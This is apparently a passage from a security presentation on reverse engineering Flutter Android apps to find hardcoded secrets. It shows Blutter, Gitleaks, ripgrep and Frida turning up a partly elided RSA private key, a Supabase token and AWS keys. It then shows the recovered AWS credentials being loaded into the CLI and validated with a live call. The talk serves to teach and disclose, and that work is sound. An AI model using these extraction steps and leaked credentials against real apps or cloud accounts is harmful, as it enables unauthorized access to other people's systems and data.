170: // 0x6dea6c: r16 = "keys/private.pem"
171: // 0x6dea6c: add x16, PP, #0x1d, lsl #12 ; [pp+0x1d018] "keys/private.pem"
```

Application # 2

- From analyzing the assembly, **“keys/private.pem”** is a file being called from the application’s asset.

```
encrypt_service.dart x
> services > encrypt_service.dart
8 class EncryptService extends Object {
127   initiation(/* No info */) async {
142     // 0x6dea18: cmp      r1, x10
143     // 0x6dea1c: b.ls     #0x6deae0
144     // 0x6dea20: InitAsync() -> Future
145     // 0x6dea20: mov     x0, NULL
146     // 0x6dea24: bl      #0x3d0200
147     // 0x6dea28: r16 = <RSAPublicKey>
148     // 0x6dea28: add     x16, PP, #0x16, lsl #12 ; [pp+0x16430] TypeArguments: <RSAPublicKey>
149     // 0x6dea2c: ldr     x16, [x16, #0x430]
150     // 0x6dea30: ldur    lr, [fp, #-0x10]
151     // 0x6dea34: stp     lr, x16, [SP, #8]
152     // 0x6dea38: r16 = "keys/public.pem"
153     // 0x6dea38: add     x16, PP, #0x1d, lsl #12 ; [pp+0x1d010] "keys/public.pem"
154     // 0x6dea3c: ldr     x16, [x16, #0x10]
155     // 0x6dea40: str     x16, [SP]
156     // 0x6dea44: r4 = const [0x1, 0x2, 0x2, 0x2, null]
157     // 0x6dea44: ldr     x4, [PP, #0x58] ; [pp+0x58] List(5) [0x1, 0x2, 0x2, 0x2, Null]
158     // 0x6dea48: r0 = parseKeyFromFile()
159     // 0x6dea48: bl      #0x6debd4 ; [package: services/encrypt_service.dart] EncryptService::parseKeyFrom
160     // 0x6dea4c: mov     x1, x0
161     // 0x6dea50: stur    x1, [fp, #-0x18]
162     // 0x6dea54: r0 = Await()
```

Application # 2

- A private key was found within the application's flutter asset file.

```
(kali㉿kali)-[~/Desktop/Application_2]
└─$ unzip Application_2.apk
Archive:  Application_2.apk
  inflating: AndroidManifest.xml
  inflating: DebugProbesKt.bin
  extracting: META-INF/androidx.activity_activity.version
  extracting: META-INF/androidx.annotation_annotation-experimental.version
  extracting: META-INF/androidx.appcompat_appcompat-resources.version
  extracting: META-INF/androidx.appcompat_appcompat.version
  extracting: META-INF/androidx.arch_core_core-runtime.version
  extracting: META-INF/androidx.browser_browser.version
  extracting: META-INF/androidx.core_core-ktx.version
  extracting: META-INF/androidx.core_core.version
  extracting: META-INF/androidx.cursoradapter_cursoradapter.version
  extracting: META-INF/androidx.customview_customview.version
  extracting: META-INF/androidx.datastore_datastore-preferences.version
  extracting: META-INF/androidx.datastore_datastore.version
  extracting: META-INF/androidx.documentfile_documentfile.version
  extracting: META-INF/androidx.drawerlayout_drawerlayout.version
  extracting: META-INF/androidx.emoji2_emoji2-views-helper.version
  extracting: META-INF/androidx.emoji2_emoji2.version
  extracting: META-INF/androidx.exifinterface_exifinterface.version
```

```
(kali㉿kali)-[~/.../Application_2/assets/flutter_assets/keys]
└─$ cat private.pem
-----BEGIN RSA PRIVATE KEY-----
MIICWgTBAAKBrGFaTOYhPhid2muHY12CBmNN7VpEtfTAo0UYpNbk5Y50XpUxnE94
YUu7...cU2SJ
oEjz...MBAAEC
gYAs...3GoCzu
SXB...zInvzS
ig0...M7Jj2v
PIX...RoWrGH
9Q2...QHvpzM
kQZ.../sjCql
1Rm...35/YYq
j/V.../Rv++a
vyFdLIIdG8PVJFk1XAKAKVPRMJJIJQVLlg7HoE3CTyxp4WbZIXU2GUalczELEg4
Sy5pzvF4JDiBejWDDfLkfrwXFmqpEb7z+1oYMN0E
-----END RSA PRIVATE KEY-----
```

Application # 3

- This app is a mindful eating tracker created to assist users in developing a healthy relationship with food.
- Reverse engineer the application with B(l)utter.

```
(kali@kali) - [~/Desktop/blutter]
$ python blutter.py '/home/kali/Desktop/Application_3/lib/arm64-v8a' '/home/kali/Desktop/Blutter_Application_3'
Dart version: 3.1.2, Snapshot: 7dbbeeb8ef7b91338640dca3927636de, Target: android arm64
flags: product no-code_comments no-dwarf_stack_traces_mode no-lazy_dispatchers dedup_instructions n
o-asserts arm64 android compressed-pointers null-safety
Cloning into '/home/kali/Desktop/blutter/dartsdk/v3.1.2' ...
remote: Enumerating objects: 2487, done.
remote: Counting objects: 100% (2487/2487), done.
remote: Compressing objects: 100% (2038/2038), done.
remote: Total 2487 (delta 77), reused 1438 (delta 51), pack-reused 0
Receiving objects: 100% (2487/2487), 1.49 MiB | 2.94 MiB/s, done.
Resolving deltas: 100% (77/77), done.
remote: Enumerating objects: 24, done.
remote: Counting objects: 100% (24/24), done.
remote: Compressing objects: 100% (23/23), done.
remote: Total 24 (delta 0), reused 8 (delta 0), pack-reused 0
Receiving objects: 100% (24/24), 130.41 KiB | 1.24 MiB/s, done.
Updating files: 100% (24/24), done.
remote: Enumerating objects: 3590, done.
remote: Counting objects: 100% (3590/3590), done.
remote: Compressing objects: 100% (2579/2579), done.
remote: Total 3590 (delta 1176), reused 1925 (delta 967), pack-reused 0
Receiving objects: 100% (3590/3590), 8.21 MiB | 7.08 MiB/s, done.
Resolving deltas: 100% (1176/1176), done.
Updating files: 100% (4070/4070), done.
-- Configuring done (1.9s)
-- Generating done (0.0s)
```

Name	Size	Type	Date Modified
ida_script	4.0 KiB	Folder	06/21/24
asm	4.0 KiB	Folder	06/21/24
pp.txt	2.0 MiB	Plain text document	06/21/24
objs.txt	849.3 KiB	Plain text document	06/21/24
blutter_frida.js	399.3 KiB	JavaScript program	06/21/24

Application # 3

- Gitleaks was used to scan for hardcoded credentials and found JWT.

```
(kaliⓈkali)-[~/Desktop/blutter]
└─$ gitleaks detect -s '/home/kali/Desktop/Blutter_Application_3/pp.txt' --no-git --verbose -r gitleaks_Application_3.json

      ○
     ○
    ○
   ○
  ○
 ○
○
○
gitleaks

Finding:      ... pp+0x93c0] String: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyYb2xlIjoi[REDACTED]
[REDACTED]
Secret:       eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyYb2xlIjoi[REDACTED]
[REDACTED]
RuleID:      jwt
Entropy:     5.362008
File:        /home/kali/Desktop/Blutter_Application_3/pp.txt
Line:        7436
Fingerprint: /home/kali/Desktop/Blutter_Application_3/pp.txt:jwt:7436

11:33AM INF scan completed in 2.15s
11:33AM WRN leaks found: 1
```


Application # 3


- Ripgrep was used to find the JWT within the asm folder.
- The JWT was found in the assembly with an API Endpoint.

```
(kali㉿kali)-[~/Desktop/Blutter_Application_3/asm]
└─$ rg "eyJhbGciOiJIUzI1NiIsI
supabase/src/supabase_client.dart
171: // 0x8e8608: r2 = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyY2xlIjoiYW5vbiIsImVudCI6ImZMz
2Mz"
172: // 0x8e8608: add x2, PP, #9, lsl #12 ; [pp+0x93c0] "eyJhbGciOiJIUzI1NiIsIn
```

```
168 // 0x8e8600: sub SP, SP, #0x30
169 // 0x8e8604: r3 = Sentinel
170 // 0x8e8604: ldr x3, [PP, #0x38] ; [pp+0x38] Sentinel
171 // 0x8e8608: r2 = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyY2xlIjoiYW5vbiIsImVudCI6ImZMz
172 // 0x8e8608: add x2, PP, #9, lsl #12 ; [pp+0x93c0] "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
173 // 0x8e860c: ldr x2, [x2, #0x3c0]
174 // 0x8e8610: r1 = "https://cjkrqhzmry[REDACTED].supabase.co/rest/v1"
175 // 0x8e8610: add x1, PP, #9, lsl #12 ; [pp+0x93c8] "https://cjkrqhzmry[REDACTED].supabase
176 // 0x8e8614: ldr x1, [x1, #0x3c8]
177 // 0x8e8618: r0 = 0
178 // 0x8e8618: movz x0, #0
179 // 0x8e861c: CheckStackOverflow
180 // 0x8e861c: ldr x16, [THR, #0x38] ; THR::stack_limit
```

Application # 3

- Supabase is an open-source database infrastructure built on PostgreSQL.
- <https://supabase.com/docs>
- The API can be interacted to directly via HTTP requests



```
Javascript  cURL
1 # Append /rest/v1/ to your URL, and then use the table name as the route
2 curl '<SUPABASE_URL>/rest/v1/todos' \
3 -H "apikey: <SUPABASE_ANON_KEY>" \
4 -H "Authorization: Bearer <SUPABASE_ANON_KEY>"
```


Application # 4

- This application allows you to control and customize your IoT gadget.
- Reverse engineer the application with B(l)utter.

```
(kali@kali) - [~/Desktop/blutter]
$ python blutter.py '/home/kali/Desktop/Application_4/Application_4_apk/lib/arm64-v8a' '/home/kali/Desktop/Application_4/Blutter_Application_4'
Dart version: 3.4.0, Snapshot: d20a1be77c3d3c41b2a5accaee1ce549, Target: android arm64
flags: product no-code_comments no-dwarf_stack_traces_mode no-lazy_dispatchers dedup_instructions no-tsan no-asserts arm64 android compressed-pointers null-safety
libapp is loaded at 0x7f6e06600000
Dart heap at 0x7f6d00000000
Analyzing the application
Analysis error at line 1466 `void FunctionAnalyzer::handleArgumentsDescriptorTypeArguments(AsmIterator&): insn.id() = ARM64_INS_MOV
0x1289190: sub x15, x15, #0x30
0x1289194: ldur w0, [x4, #0xf]
0x1289198: add x0, x0, x28, lsl #32
0x128919c: cbnz w0, #0x12891b0
* 0x12891a0: str x0, [x15, #-8]!
0x12891a4: stur x22, [x29, #-8]
```

Name	Size	Type	Date Modified
ida_script	4.0 KiB	Folder	06/21/24
asm	4.0 KiB	Folder	06/21/24
pp.txt	2.0 MiB	Plain text document	06/21/24
objs.txt	849.3 KiB	Plain text document	06/21/24
blutter_frida.js	399.3 KiB	JavaScript program	06/21/24

Application # 4

- Gitleaks tool was used to scan pp.txt file.
- AWS access token was found hard coded within the application.

```
(kali@kali)-[~/Desktop]
└─$ gitleaks detect -s '/home/kali/Desktop/Application_4/Blutter_Application_4/pp.txt' --no-git --verbose -r gitleaks_Application_4.json
```



```
Finding:      ... pp+0xb808] String: "AKIA5JVAT5[REDACTED]"
Secret:       AKIA5JVAT5[REDACTED]
RuleID:       aws-access-token
Entropy:      3.684184
File:         /home/kali/Desktop/Application_4/Blutter_Application_4/pp.txt
Line:         8636
Fingerprint: /home/kali/Desktop/Application_4/Blutter_Application_4/pp.txt:aws-access-token:8636
```

Application # 4

- For general use, the `aws configure` command is the fastest way to set up the AWS CLI installation.
- An AWS Secret Access Key is still missing.
- <https://docs.aws.amazon.com/cli/latest/userguide/cli-authentication-user.html>

```
$ aws configure
AWS Access Key ID [None]: AKIAIOSFODNN7EXAMPLE
AWS Secret Access Key [None]: wJalrXUtnFEMI/K7MDENG/bPxrFiCYEXAMPLEKEY
Default region name [None]: us-west-2
Default output format [None]: json
```

Application # 4

- Ripgrep was used to find the location of the AWS token within the ASM folder.
- Found the AWS token located within a file from ASM folder.

```
(kali@kali)-[~/Desktop/Application_4/Blutter_Application_4/asm]
└─$ rg "AKIA5JVAT5"
api_key_store/src/key_store/api_keys/aws_s3_user_clip_upload_id.dart
19: // 0x1066aa4: r2 = "AKIA5JVAT5"
20: // 0x1066aa4: add x2, PP, #0xb, lsl #12 ; [pp+0xb808] "AKIA5JVAT5"
"
```

```
aws_s3_user_clip_upload_id.dart x
api_key_store > src > key_store > api_keys > aws_s3_user_clip_upload_id.dart
1 // lib: , url: package:api_key_store/src/key_store/api_keys/aws_s3_user_clip_upload_id.dart
2
3 // class id: 1048865, size: 0x8
4 class :: {
5
6     static late final Uint8List encryptedApiKey; // offset: 0x157c
7
8     static Uint8List encryptedApiKey() {
9         /** addr: 0x1066a8c, size: 0x3c
10          // 0x1066a8c: EnterFrame
11          // 0x1066a8c: stp fp, lr, [SP, #-0x10]!
12          // 0x1066a90: mov fp, SP
13          // 0x1066a94: CheckStackOverflow
14          // 0x1066a94: ldr x16, [THR, #0x38] ; THR::stack_limit
15          // 0x1066a98: cmp SP, x16
16          // 0x1066a9c: b.ls #0x1066ac0
17          // 0x1066aa0: r1 = Instance_Utf8Encoder
18          // 0x1066aa0: ldr x1, [PP, #0x6a30] ; [pp+0x6a30] Obj!Utf8Encoder@22f5931
19          // 0x1066aa4: r2 = "AKIA5JVAT5"
20          // 0x1066aa4: add x2, PP, #0xb, lsl #12 ; [pp+0xb808] "AKIA5JVAT5"
21          // 0x1066aa8: ldr x2, [x2, #0x808]
22          // 0x1066aac: r4 = const [0, 0x2, 0, 0x2, null]
23          // 0x1066aac: ldr x4, [PP, #0x130] ; [pp+0x130] List(5) [0, 0x2, 0, 0x2, Null]
24          // 0x1066ab0: r0 = convert()
25          // 0x1066ab0: bl #0x216a974 ; [dart:convert] Utf8Encoder::convert
26          // 0x1066ab4: LeaveFrame
27          // 0x1066ab4: mov SP, fp
28          // 0x1066ab8: ldp fp, lr, [SP], #0x10
29          // 0x1066abc: ret
30          // 0x1066abc: ret
31          // 0x1066ac0: r0 = StackOverflowSharedWithoutFPUREgs()
32          // 0x1066ac0: bl #0x2430ae0 ; StackOverflowSharedWithoutFPUREgsStub
33          // 0x1066ac4: b #0x1066aa0
34      }
```

Application # 4

- At file `aws_s3_user_clip_upload_secret.dart` contains a secret key which could not be directly read due to encryption.

```
aws_s3_user_clip_upload_secret.dart X
api_key_store > src > key_store > api_keys > aws_s3_user_clip_upload_secret.dart
1 // lib: , url: package:api_key_store/src/key_store/api_keys/aws_s3_user_clip_upload_secret.dart
2
3 // class id: 1048866, size: 0x8
4 class :: {
5
6     static late final List<int> encryptedApiKey; // offset: 0x1580
7
8     static List<int> encryptedApiKey() {
9         // ** addr: 0x10668ac, size: 0x184
10        // 0x10668ac: EnterFrame
11        //   0x10668ac: stp          fp, lr, [SP, #-0x10]!
12        //   0x10668b0: mov          fp, SP
13        // 0x10668b4: AllocStack(0x8)
14        //   0x10668b4: sub          SP, SP, #8
15        // 0x10668b8: r0 = 80
16        //   0x10668b8: movz          x0, #0x50
17        // 0x10668bc: mov          x2, x0
18        // 0x10668c0: r1 = <int>
19        //   0x10668c0: ldr          x1, [PP, #0x2e8] ; [pp+0x2e8] TypeArguments: <int>
20        // 0x10668c4: r0 = AllocateArray()
21        //   0x10668c4: bl          #0x24309d8 ; AllocateArrayStub
22        // 0x10668c8: stur         x0, [fp, #-8]
23        // 0x10668cc: r17 = 366
24        //   0x10668cc: movz          x17, #0x16e
25        // 0x10668d0: StoreField: r0->field_f = r17
26        //   0x10668d0: stur         w17, [x0, #0xf]
27        // 0x10668d4: r17 = 286
28        //   0x10668d4: movz          x17, #0x11e
29        // 0x10668d8: StoreField: r0->field_13 = r17
30        //   0x10668d8: stur         w17, [x0, #0x13]
31        // 0x10668dc: r17 = 486
```


Application # 4

- From analyzing the assembly. It was found that within `app_initialize_security.dart` file at address `'0x126f0a4'` is a client for calling and access the AWS S3 bucket

```
app_initialize_security.dart x
> src > app_initialize_security.dart
12  class SecurityModule extends Module
680  _init(/* No info */) async {
993  // 0x11f08c8: r5 = "raven-uploaded"
994  // 0x11f08c8: add      x5, PP, #0x29, lsl #12 ; [pp+0x294d0] "raven-uploaded"
995  // 0x11f08cc: ldr      x5, [x5, #0x4d0]
996  // 0x11f08d0: stur     x0, [fp, #-0x50]
997  // 0x11f08d4: r0 = AwsS3Client()
998  // 0x11f08d4: bl      #0x121bc00 ; [package:flutter_utils/src/aws/aws_s3_client.dart] AwsS3Client::AwsS3Client
999  // 0x11f08d8: ldur     x1, [fp, #-0x10]
1000 // 0x11f08dc: LoadField: r0 = r1->field_53
1001 // 0x11f08dc: ldur     w0, [x1, #0x53]
1002 // 0x11f08e0: DecompressPointer r0
1003 // 0x11f08e0: add      x0, x0, HEAP, lsl #32
1004 // 0x11f08e4: r16 = Sentinel
1005 // 0x11f08e4: ldr      x16, [PP, #0x40] ; [pp+0x40] Sentinel
```

Application # 4

- Frida script generated from executing B(l)utter was used to hook the function and found the secret access key.

```
blutter_frida.js •
C: > Users > Datafarm > Desktop > blutter_frida.js
1  const ShowNullField = false;
2  const MaxDepth = 5;
3  var libapp = null;
4
5  function onLibappLoaded() {
6    xxx("remove this line and correct the hook value");
7    const fn_addr = 0x126f0a4;
8    Interceptor.attach(libapp.add(fn_addr), {
9      onEnter: function () {
10       init(this.context);
11       let objPtr = ...;
12       const [tpr] = ...;
13       console.log(...);
14     }
15   });
16 }
17

C:\Users\Datafarm\Desktop>frida -U -f com.██████████ -l blutter_frida.js

Frida 16.2.1 - A world-class dynamic instrumentation toolkit

Commands:
  help      -> Displays the help system
  object?   -> Display information about 'object'
  exit/quit -> Exit

More info at https://frida.re/docs/home/

Connected to M2101K7BG (id=KVS4SG69ZDMJTKBY)
Spawned 'com.██████████'. Resuming main thread!
[M2101K7BG::com.██████████]-> String@74032fe749 = "MRvN0g30WLkQqstPKN/b██████████"
```

Application # 4

- AWS configuration was set using the AWS Secret Access Key and AWS Access Key ID. This made it possible to query IAM identity data, proving that the credentials are valid.
- We can use these credentials to perform file upload to the upload role and attack the system.

```
(kaliⓈkali)-[~]
└─$ aws configure
AWS Access Key ID [*****OZXE]: AKIA5JVAT5 [REDACTED]
AWS Secret Access Key [*****]: MRvN0g30WLkQqstPKN/bVERe [REDACTED]
Default region name [None]:
Default output format [None]:

(kaliⓈkali)-[~]
└─$ aws sts get-caller-identity
{
  "UserId": "AIDA5JVAT5KF [REDACTED]",
  "Account": "914091 [REDACTED]",
  "Arn": "arn:aws:iam::914091 [REDACTED]:user/[REDACTED]_clip_uploader"
}
```



COMSEC

Conclusion

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Conclusion

- Hardcoding secret credentials poses significant security risks.
- Embedded credentials are vulnerable to reverse engineering and unauthorized access.
- Exposing sensitive data can compromise the entire system.
- Prioritizing security helps protect applications, users, and data from malicious threats.



THANK YOU

For Listening